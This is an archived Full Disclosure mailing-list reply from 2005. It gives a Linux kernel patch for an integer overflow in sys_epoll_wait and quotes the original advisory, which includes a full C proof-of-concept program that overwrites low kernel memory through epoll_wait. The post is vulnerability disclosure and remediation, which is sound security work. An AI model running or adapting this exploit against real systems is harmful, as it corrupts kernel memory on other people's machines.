Full Disclosure mailing list archives
Re: overwriting low kernel memory
From: g g0 <the.go0m () gmail com>
Date: Wed, 9 Mar 2005 09:30:04 -0500
taken from bitkeeper, a little different but applies, compiles, . . . but untested --- linux-2.6.11/fs/eventpoll.c 2005-03-09 09:14:24.994890544 -0500 +++ linux-2.6.11-patched/fs/eventpoll.c 2005-03-09 09:07:09.904034408 -0500 @@ -627,6 +627,9 @@ eexit_1: asmlinkage long sys_epoll_wait(int epfd, struct epoll_event __user *events, int maxevents, int timeout) { + +#define MAX_EVENTS (INT_MAX / sizeof(struct epoll_event)) + int error; struct file *file; struct eventpoll *ep; @@ -635,7 +638,7 @@ asmlinkage long sys_epoll_wait(int epfd, current, epfd, events, maxevents, timeout)); /* The maximum number of event must be greater than zero */ - if (maxevents <= 0) + if (maxevents <= 0 || maxevents > MAX_EVENTS) return -EINVAL; /* Verify that the area passed by the user is writeable */ On Wed, 9 Mar 2005 12:42:19 +0200, Georgi Guninski <guninski () guninski com> wrote:
it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) memory due to integer overflow in sys_epoll_wait and misuse of __put_user in ep_send_events tested on i386. despite the overflow, the os seemingly continues normal operation. fix: http://linux.bkbits.net:8080/linux-2.6/cset@422dd06a1p5PsyFhoGAJseinjEq3ew?nav=index.html|ChangeSet@-1d ------------------------------------------------- /* * copyright georgi guninski. * cannot be used in vulnerabilities databases like securityfocus and mitre * */ #include <stdio.h> #include <sys/epoll.h> #include <sys/socket.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> #define __KERNEL__ #include <asm/processor.h> #undef __KERNEL__ #define MAXV 500 int main(int argc,char ** argv) { int epfd; int i; int res; struct epoll_event ev; int *fds; int over; void *km; over= ((unsigned int)-1)/sizeof(struct epoll_event)+1; km=(void *)(TASK_SIZE - over*sizeof(struct epoll_event) - 4); printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km); epfd = epoll_create(MAXV); printf("Epoll descriptor %i\n",epfd); fds=calloc(2*MAXV,sizeof(int)); for(i=0;i<MAXV;i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, &fds[2*i])) perror("pair"); ev.data.u32 = 0x42424242; ev.events = EPOLLOUT|EPOLLIN | 0x42424242; res = epoll_ctl(epfd,EPOLL_CTL_ADD,fds[2*i],&ev); } for(i=0;i<MAXV;i++) write(fds[2*i+1],&i,sizeof(i)); system("sync"); for(i = 0; i < 1; i++) { res = epoll_wait(epfd,km,over,-1); printf("epoll_wait returned %i\n",res); printf("check what is after TASK_SIZE\n"); } close(epfd); return 42; } ----------------------------------------- -- where do you want bill gates to go today? _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://www.secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://www.secunia.com/
Current thread:
- overwriting low kernel memory Georgi Guninski (Mar 09)
- Re: overwriting low kernel memory g g0 (Mar 09)